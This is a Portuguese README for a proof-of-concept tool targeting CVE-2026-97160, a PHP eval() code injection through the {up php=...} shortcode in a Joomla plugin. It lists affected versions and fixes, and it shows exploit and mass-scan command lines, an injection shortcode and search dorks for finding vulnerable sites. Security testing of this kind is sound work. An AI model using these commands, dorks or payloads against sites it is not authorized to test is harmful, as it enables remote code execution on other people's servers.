murrez/cve-2026-97160PoC em Python para CVE-2026-97160: deteta versões vulneráveis do plugin Joomla UP e verifica a execução de código PHP através do shortcode {up php=} em artigos públicos.
PoC em Python 3 para CVE-2026-97160 — UP (Universal Plugin) para Joomla (lomart.fr / up.lomart.fr).
CVE-2026-97160 — O plugin UP 5.0.0–5.2.0 e 6.0.0–6.0.29 permitem injeção de código PHP por meio de shortcodes {up php=...} processados com eval() (CWE-94). O CNA classifica isso como autenticado / alto privilégio; antes de 6.1.0 / 5.2.1, autores de artigos podiam contornar as verificações de ações reservadas por meio da normalização de nomes entre salvar e renderizar, de modo que o PHP em um artigo era executado para todos os visitantes. CVSS 4.0 9.4 Crítico. Correção: UP 6.1.0 (Joomla 5.2+) ou 5.2.1 (Joomla 3.10–5.1).
Relacionados (mesma versão): CVE-2026-97161 (leitura de arquivo / travessia de diretório), CVE-2026-97162 (SQLi), CVE-2026-97163 (mini-instalação via GitHub).
Página do PoC: https://pocbit.org/pocs/cve-2026-97160
Catálogo: https://pocbit.org/pocs/
| Produto | Plugin UP para Joomla (plg_content_up) |
| Caminho | plugins/content/up/ |
| Afetado | 5.0.0–5.2.0, 6.0.0–6.0.29 |
| Corrigido | 5.2.1, 6.1.0 |
| Vetor | Shortcode de artigo/módulo {up php=...} |
| Atribuidor | Joomla CNA |
pip install -r requirements.txt
python poc.py -u https://joomla.example --mode check
python poc.py -u https://joomla.example --mode check --article-url "https://joomla.example/index.php?option=com_content&view=article&id=42"
python poc.py -u https://joomla.example --mode exploit --article-url "https://joomla.example/your-article"
python poc.py --list targets.example.txt --mode check -j 10
Laboratório: Como administrador (ou autor em versões vulneráveis), adicione ao corpo do artigo:
{up php=echo 'POCBIT-97160-OK';}
Publique e, em seguida, execute --mode exploit --article-url <URL pública>.
body="plugins/content/up"
body="{up php"
inurl:"option=com_content" "lomart"
PoC do CVE-2026-97160: Joomla UP (lomart.fr) ≤6.0.29 / ≤5.2.0 — injeção de código via eval do shortcode privilegiado {up php=} (contorno por autor em versões mais antigas). PoCbit
CVE-2026-97160: Execução de PHP no servidor através de {up php=...} no plugin UP do Joomla; corrigido com 6.1.0 / 5.2.1.
Apenas para testes autorizados. Não publique shortcodes maliciosos em sites que não sejam seus.